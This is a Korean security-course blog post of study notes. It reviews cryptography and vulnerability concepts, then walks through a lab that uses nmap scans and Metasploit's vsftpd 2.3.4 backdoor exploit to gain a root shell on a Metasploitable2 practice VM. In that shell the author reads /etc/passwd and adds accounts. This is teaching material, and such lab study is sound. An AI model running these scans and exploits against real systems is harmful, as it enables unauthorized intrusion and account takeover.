지난시간 복습
* 암호화를 하는 이유
= 기밀성 ( Confidentiality ) : 내용이 노출되지 않도록 하는 것
= 무결성 ( integrity ) : 내용이 변조되지 않도록 하는 것
= 인증 ( Authentication ) : 올바른 사용자임을 증명하는 것
= 부인봉쇄 : 아니라고 하지 못하게 하는 것
* 대칭키 ( Symmetric Key ) = Secret Key = Session Key
= 암호화키와 복호화키가 서로 대칭을 이룸 ----> 사실상 하나의 키
= Feistel구조 : Lucifer, DES, 3DES 등등
= SPN구조 : ( 치환과 전치의 반복 ) : AES ( Rijindael, 리인델 )
( Feistel구조와 SPN구조 둘다 대칭키지만 요즘은 SPN구조를 더 많이 사용 )
= 대칭키의 문제점 : 키 전달의 문제, 키 개수의 문제
* 공개키 방식
= 개인키 ( Private Key ) 와 공개키 ( Public Key ) 한쌍으로 이루어져 있음
= 개인키는 자기 혼자만 보유, 공개키는 누구에게나 제공해도 됨
= 개인키로 공개키를 연산해 내는 것은 쉬운데, 공개키로 개인키를 알아내는 것은 불가능
1) Diffie - Hellman
= 대칭키 교환 문제를 해결 : 서로 공개키를 교환하고, 자신의 개인키와 연산해서 대칭키 ( 세션키 )를 생성해 냄
= 이산대수의 어려움에 근거 : 한쪽방향으로는 계산하기 쉬움 ( 검증 ), 반대방향으로는 계산하기 어려움
2) RSA ( Rivest, Shamir, Adleman )
= 기밀성 : 수신자의 공개키로 암호화 해서 보냄
= 인증 : 송신자의 개인키로 암호화해서 보냄
= 소인수 분해의 어려움을 이용 ex ) 13 * 7 = 91 ( 알기 쉬움 ) , 91 = X * Y ( 알아내기 어려움 )
3) ECC ( Elliptic Curve Cryptography, 타원곡선 암호화 )
= 이산대수의 어려움에 근거한 방식
= 짧은 키 길이로 강력한 암호화를 제공함 ( 키가 길어질수록 연산량이 많아짐 --> CPU/ Memory/ Power 소모량 증가 )
= Mobile 환경에 적합함 ( 그래서 유튜브나 인스타그램 같은곳 들어가면 타원곡선을 쓰고있다. )
* Hash Function
1) 고정길이 출력 : 원문의 길이와 관계없이 고정 길이로 출력됨
2) 일방향 함수 : 원문으로 해시값을 계산하는 것은 매우 쉽지만, 해시값으로 원문을 알아내는 것은 거의 불가능
3) 충돌 방지 : 해시값이 같은 원문은 거의 존재하지 않음
= 하지만 취약한 해시함수가 있긴있다 : MD5, SHA - 1 ------> 더이상 사용하면 안됨 ( 충돌쌍이 발견됨 )
= 안전한 해시함수 : SHA - 256 이상을 사용해야 함 ex ) SHA-2(256) 사용사례 : Bitcoin, 공동인증서 등등
4) 전자서명
= 생성 : 원문에 해시값에 송신자의 개인키로 암호화 ( 서명 ) 해서 원문에 붙여서 보냄
= 검증 : 서명된 해시값을 송신자의 공개키로 복호화해서 원문의 해시값과 비교해봄 ---> 일치하면 무결성 증명, 일치하지 않으면 변조
* 인증서 ( Certificate )
= 생성 : 공개키의 해시값에 인증기관의 개인키로 암호화 ( 서명 )
= 검증 : 서명된 해시값을 인증기관의 공개키로 복호화 해서 공개키의 해시값과 비교해봄
* PKI
= 최상위 인증기관 ( Root CA ) : 인증기관을 관리 ( 우리나라로 치면 KISA )
= 인증기관 ( CA ) : 인증서를 발급하는 곳
= 등록기관 ( RA ) : 인증서를 신청한 조직 ( 회사, 기관 등 ) 을 검증하고 접수를 받음
* RSA의 특징
BOSS ( 개인키, 공개키 ) Killer ( 개인키, 공개키 )
1) 기밀성 방식
" Ninja를 죽여라 " 라는 메시지를 Killer만 보게 하려면? Killer의 공개키로 암호화 해서 보냄 --> Killer는 자신의 개인키로 복호화를 함 ( Killer만 볼 수 있음 ) : 비밀리에 Killer만 보았지만, Boss가 보냈다는 확신이 없음.
2) 인증 방식
" Ninja를 죽여라 " 라는 메시지를 Boss의 개인키로 암호화를 해서 보냄
--> 분명히 Boss가 보낸게 맞음 ( Boss의 공개키로 복호화가 되지 때문에 Boss의 개인키로 암호화 했다는 증거임 )
Killer 는 Ninja를 죽였을까요? --> Ninja도 Boss 공개키가 있기 때문에 복호화가 가능해서 모든것을 알고 있었음~
* SSL/TLS
= 웹에서 암호화 통신을 하기 위해 사용하는 프로토콜 집합
= 대칭키, 공개키, 해시함수도 사용 ------> Web Browser와 Web Server가 어떤 암호화 방식을 사용할건지 협의 ( 우선순위가 있음 )
= 핵심 원리
웹서버가 자신의 공개키를 인증서 형식으로 제공
웹브라우저는 세션키를 생성해서 웹서버의 공개키로 암호화를 해서 웹서버에게 보냄 ---> 웹서버는 자신의 개인 키로 복호화 ( 세션키 나옴 )
웹브라우저와 웹서버는 데이터를 보낼때 세션키로 암호화 해서 보냄 ---> 상대방에게 받은 암호문은 세션키로 복호화를 함
-------------------------------------------------------------------------------------------------------------------------------------------------------------
* 자가서명 인증서 만드는 방법 : https://wnw1005.tistory.com/457
-------------------------------------------------------------------------------------------------------------------------------------
* 전자봉투
= 생성 : 원문의 해시값에 송신자의 개인키로 서명하고 원문 및 송신자의 공개키 까지 첨부해서 세션키로 암호화함. 세션키는 수신자의 공개키로 암호화해서 첨부 ----> 오프라인으로 USB, 이메일, 채팅으로 보내도됨
= 특징 : 기밀성, 무결성, 송신자에 대한 인증 및 부인봉쇄까지 모두 가능함
* 최근의 이슈
= AES의 키 길이의 문제 : 컴퓨터의 발전으로 크래킹 시간이 줄어들고 있음 ----> AES 128bit 안정성에 문제
= RSA 2048bit 이상을 사용해야 함
RSA512bit에서 RSA1024bit로 업그레이드 : 2004년
RSA1024bit를 RSA2048bit로 업그레이드 : 2012년
RSA4096bit는 대략 2028년쯤 해야 하지 않을까 의심 ( 양자 컴퓨터의 발달로 더 빨라질지도 ㅎ 개인생각 )
------------------> 키를 계속 늘릴 수는 없기 때문에 ECC를 사용
ECC160bit 가 RSA1024bit와 거의 비슷한 암호화 강도를 제공
--------> 최근에는 ECC256bit 사용중 ( Youtube, Instagram, Facebook 등 )
* 랜섬웨어들이 대부분 RSA2048bit를 사용해서 암호화를 함
= 랜섬웨어 실행파일에 무엇이 들어있을까요? 공격자의 공개키가 들어있어서 파일을 공개키로 암호화함
= 암호화했던 공개키에 대한 개인키를 돈받고 주겠다는 것!
= 대응방법 : 오프라인 백업 ( 외장하드 ), 온라인 백업 ( 클라우드에 업로드 )
* 랜섬웨어가 대칭키로 암호화를 하면???
= 악성코드 실행파일 안에 대칭키가 있을 것임 ---> 그 키만 찾으면 복호화가 가능함
* 가상화폐는 주로 해시의 원리를 이용 ex ) SHA - 256bit
= 앞 블록에 대한 해시값을 다음 블록의 헤더에 포함시킴 ---> chain
= 중간 블럭을 바꿀 수 없음 ( 내용을 바꿀 수 없음 ) ----> 무결성 검증
= 기밀성은 제공하기 어려움 : 블럭 안에 거래내역이 모두 들어있음 ---> 채굴기를 설치하면 모든 블럭을 다 볼수 있음
----------------------------------------------------------------------------------------------------------------------------------
* 클라우드 환경은 대부분 리눅스
= IT를 잘하려면 리눅스, 네트워크, 데이터베이스를 알아야함
* Asset ( 자산 )
= 유형자산 : 컴퓨터, 회사건물, 공장, 인력, 고객 등
= 무형자산 : 브랜드이미지, 데이터, 저작권, 특허, 평판 등등
= 자산에는 약점이 존재
ex ) 현금, 보석, 무기명채권, 콜드월렛 등은 물리적인 보안 문제를 갖고있다.
* 취약점은 특정 버전에만 존재하는 것
= 취약점이 존재하면 패치를 적용하면 해결됨 ----> 버전이 달라짐
= 취약점 분석은 어떤 버전인지만 알면됨 + 그 버전에서 가지고 있는 취약점이 무엇인지
어떤 버전인지 확인 ( 진단기능 ) : SW로 해결
그 버전에서 가지고 있는 취약점이 무엇인지 ( 지식 ) : 클라우드에서 해결 가능, 검색 ( 모르면 구글 )
* Zeroday Exploit
= 패치가 배포되기 전에, Exploit code를 먼저 만들어서 공격하는 사례
= 무방비 상태에서 공격 가능, 대응할 방법이 없는 상태임
= 알려지지 않은 취약점 이라는 의미 ----> DarkWeb에서 거래가 되기도 함
Scarcruft ( 북한 해킹그룹 ) 은 DarkWeb에서 Adobe Flash 취약점을 사다 공격했다고 함
* Oneday Exploit
= 알려진 취약점, 패치가 배포되었지만 아직 설치하지 않은 상태 ( 호환성, 의존성 문제로 동작에 영향이 있을까봐 우려되어서 아직 설치하지 않은 상태 )
= 패치를 설치하지 않은 시스템만 골라서 공격 가능함
= 알려진 취약점 -----> 공격 방법도 대부분 유튜브,블로그,SNS에 나와있음
* 약점 공식 번호 : CWE - nnnnn
= CWE : Common Weakness Enumeration ( 보편적인 약점 목록화 )
= https://cwe.mitre.org/ : 약점을 관리하는 공식기관
* 취약점 공식 번호 : CVE - YYYY - NNNNnnn
= YYYY년도 4자리 ---> 언제 발견된 것인지 확인
= NNNN ( 4자리부터 ) ~ NNNNnnn (7자리까지 ) 번호를 부여함
= https://cve.mitre.org/ : 취약점을 관리하는 공식기관 ---> cve.org 로 이전한다고 나오는중
-------------------------------------------------------------------------------------
취약점 사례 분석 ) 프린트 나이트메어 취약점
https://www.boannews.com/media/view.asp?idx=98833
프린트 나이트메어 취약점은 CVE - 2021 - 1675 아니고 제로데이
-----> 패치로 해결되지 않았기 때문
실습준비 )
= 구글 - metasploitable2 - metasploitable-linux-2.0.0.zip 다운
( https://sourceforge.net/projects/metasploitable/files/Metasploitable2/ )
= 압축풀고 VM 으로 실행
= ID : msfadmin / PW : msfadmin
* Metasploitable2 는 무엇이냐?!
= 각종 취약한 버전을 골라서 설치한 Victim 실습 이미지 ----> exploit 가능
= Rapid7 이라는 회사에서 Metasploit ( 공격도구 ) 를 팔고 있는데, 테스트 해보기 위해서 Metasploitable2를 만듦
$ sudo adduser ive // adduser를 사용하면 마법사를 이용해서 PW, 전화번호 등등 많이 물어봄
PW : after
로 계정을 만들었다.
이 외에
ID : aespa
PW : illusion
ID : nct
PW : intheair
도 만들었다 또한
$ sudo useradd astro // adduser 와 다르게 계정만 만듦, 홈 디렉터리를 만들지 않음 -----> FTP를 사용할 수 없음
$ sudo passwd astro
PW : candy
* 계정을 만든 이유 : Eploit를 한 후에 계정을 크래킹 할 에정
* 칼리 실행!
= 시작 : 피닉스 아이콘 - 08 Exploitation Tools - Metasploit Framework 클릭
2230 exploits : 취약점 공격 모듈 ( 2230개 라는 뜻 )
867 payloads : Exploit 이후의 연결 방법 ( 익스플로잇이 성공한 후에 타겟 머신에 실행할 코드 )
* IP 스캔
- 켜져있는 시스템을 확인
$ sudo nmap -sn 192.168.5.129-140
( -s : scan, n : number )
$ sudo nmap -sn 192.168.5.129-140
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-20 02:55 EDT
Nmap scan report for 192.168.5.129 //칼리의 아이피
Host is up.
Nmap scan report for 192.168.5.132 //타겟의 아이피 ( 메타 스플로잇 )
Host is up (0.00043s latency).
MAC Address: 00:0C:29:F2:E2:02 (VMware)
Nmap done: 12 IP addresses (2 hosts up) scanned in 1.35 seconds
*Port Scan
1. TCP scan
= 3Way Handshaking을 완성하는 스캐닝 ---> 로그가 남기 때문에 공격자는 잘 하지 않는 스캐닝임
$ sudo nmap -sT 192.168.5.132 // -s : sacn, T : TCP
2. SYN scan
= 3Way Handshaking을 완성하지 않는 스캐닝 ( SYN만 보내고 ACK를 보내지 않는 기법 )
$ sudo nmap -sS 192.168.5.132
$ sudo nmap -sS 192.168.5.132 -p 1-20000 // 스캔 범위 지정 가능
3. UDP scan
= 실행중인 UDP 서비스를 확인하는 스캐닝
$ sudo nmap -sU 192.168.5.132
4. OS scan
= 운영체제의 종류를 파악하기 위한 스캐닝 ( -s 옵션은 없음 )
$ sudo nmap -O 192.168.5.132
* 엉터리 스캔 ( Stealth scan )
= TCP / IP 의 논리에 맞지 않는 스캐닝 기법
= 열린 포트는 응답하지 않음, 닫힌 포트는 RST를 보냄 ---> 열린포트와 닫힌 포트 구분 가능
= X -mas, FIN, Null 세가지 스캔 방식이 있음
5. X - mas scan
= 크리스마스에는 창고에 있던 전구를 꺼내서 켬
= TCP Flag를 모두 1로 만들어서 보내는 공격인데, nmap에서는 FIN/URG/PSH만 활성화함
$ sudo nmap -sX 192.168.5.132
6. FIN scan
= FIN ( 종료 요청 ) 을 보내면 열린 포트는 응답 없음, 닫힌 포트는 RST를 보냄
$ sudo nmap -sF 192.168.5.132
7. Null scan
= TCP Flag를 모두 0으로 만들어서 보내는 스캔
$ sudo nmap -sN 192.168.5.132
8. Version scan
= 버전을 알면, 취약점도 알 수 있음
$ sudo nmap -sV 192.168.5.132
9. All scan ( 여러가지를 하므로 시간이 좀 더 걸림, 그래서 뒤에 -T4를 붙임, 필수 아님 )
= Script scan + OS scan + Traceroute + Version scan
$ sudo nmap -A 192.168.5.132 -T4 // -T : Timing, 0~6까지 숫자 사용 가능, 클수록 속도 빠름, 빠르면 놓치는게 있을 수 있음
* 21번 포트는 FTP 서비스를 실행하고 있음.
-------> vsftpd 2.3.4 라는 버전을 사용하고 있음 : Backdoor Command가 실행되는 취약점을 가지고 있음.
* 이제 칼리에서 Metasploit을 사용했던 탭으로 와서
msf6 > search vsftpd // 취약점 검색
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor // 나온거 사용
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.132 // Target Host 지정
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit // 공격 시작
Command shell session 1 opened // 연결 성공!
whoami 와 ip addr로 확인해보는 모습 // 연결이 되었다.
cat /etc/passwd // 계정 확인
아까 만든 계정을 확인 할 수 있다.
cd /home/nct
ls
ll
sh: line 14: ll: command not found
touch nct.txt // touch는 파일을 만드는 명령
echo "nct is very famoun" >> nct.txt // echo " " 의 내용을 nct..txt에 넣음
ls
nct.txt
* 메타스플로잇에서
메타스플로잇 에서도 만든걸 확인해 볼 수 있다.
* vsFTP의 2.3.4 버전에 Backdoor 명령이 실행되는 취약점이 존재하기 때문
= Exploit를 해서 취약점을 공격했더니, Shell 권한을 가질 수 있었음 ( root 권한으로 )
= root 이므로 계정 생성도 가능
useradd blackpink // 블랙핑크 게정이 만들어진다
연결을 끊으려면, ctrl + c 를 누른다
그리고 y를 누르고 back을 입력하면 초기 상태로 다시 돌아가게 된다.
vsftpd를 실행한 권한이 root권한이었기 때문에, 취약점 공격에 성공하면, 공격자에게 root 권한이 주어짐
★ 정리 ★
1단계 : nmap을 이용해서 Target host를 스캐닝
$ sudo nmap -A 192.168.5.131
2단계 : 버전 확인 -----> 구글에서 취약점 확인
3단계 : 스크립트로 확인(진짜로 공격이 가능한지) // 스크립트 확인은 밑에서 할 예정
4단계 : Metasploit으로 공격이 실제로 가능한지 확인
* Script Scanning
= 칼리 - nmap을 사용했던 두번째 탭 클릭
$ cd /usr/share/nmap/scripts
$ ls
$ ls -l | wc -l //파일의 개수를 세는 명령 ( wc : word count ) // 606개 나옴
$ sudo find . -name "*vsftp*" // .은 현재 디렉토리, -name 이름을 검색 *vsftp* ---> 중간에 vsftp가 들어간 파일을 모두 찾음
-----> ./ftp-vsftpd-backdoor.nse
$ sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.132 -p21 // 스크립트를 활용한 취약점 진단 ( 상당히 정확함! )
중간에 VULNERABLE(취약한)이라고 취약하다고 알려줌
그리고 그 밑에 CVE 번호도 보인다
'공부 > 시스템,네트워크 보안' 카테고리의 다른 글
9월 22일 시스템/네트워크 보안 6 (0) | 2022.09.22 |
---|---|
9월 21일 시스템/네트워크 보안 5 (0) | 2022.09.21 |
9월 19일 시스템/네트워크 보안 3 (0) | 2022.09.19 |
9월 16일 시스템/네트워크 보안 2 (0) | 2022.09.16 |
9월 15일 시스템/네트워크 보안 1 (0) | 2022.09.15 |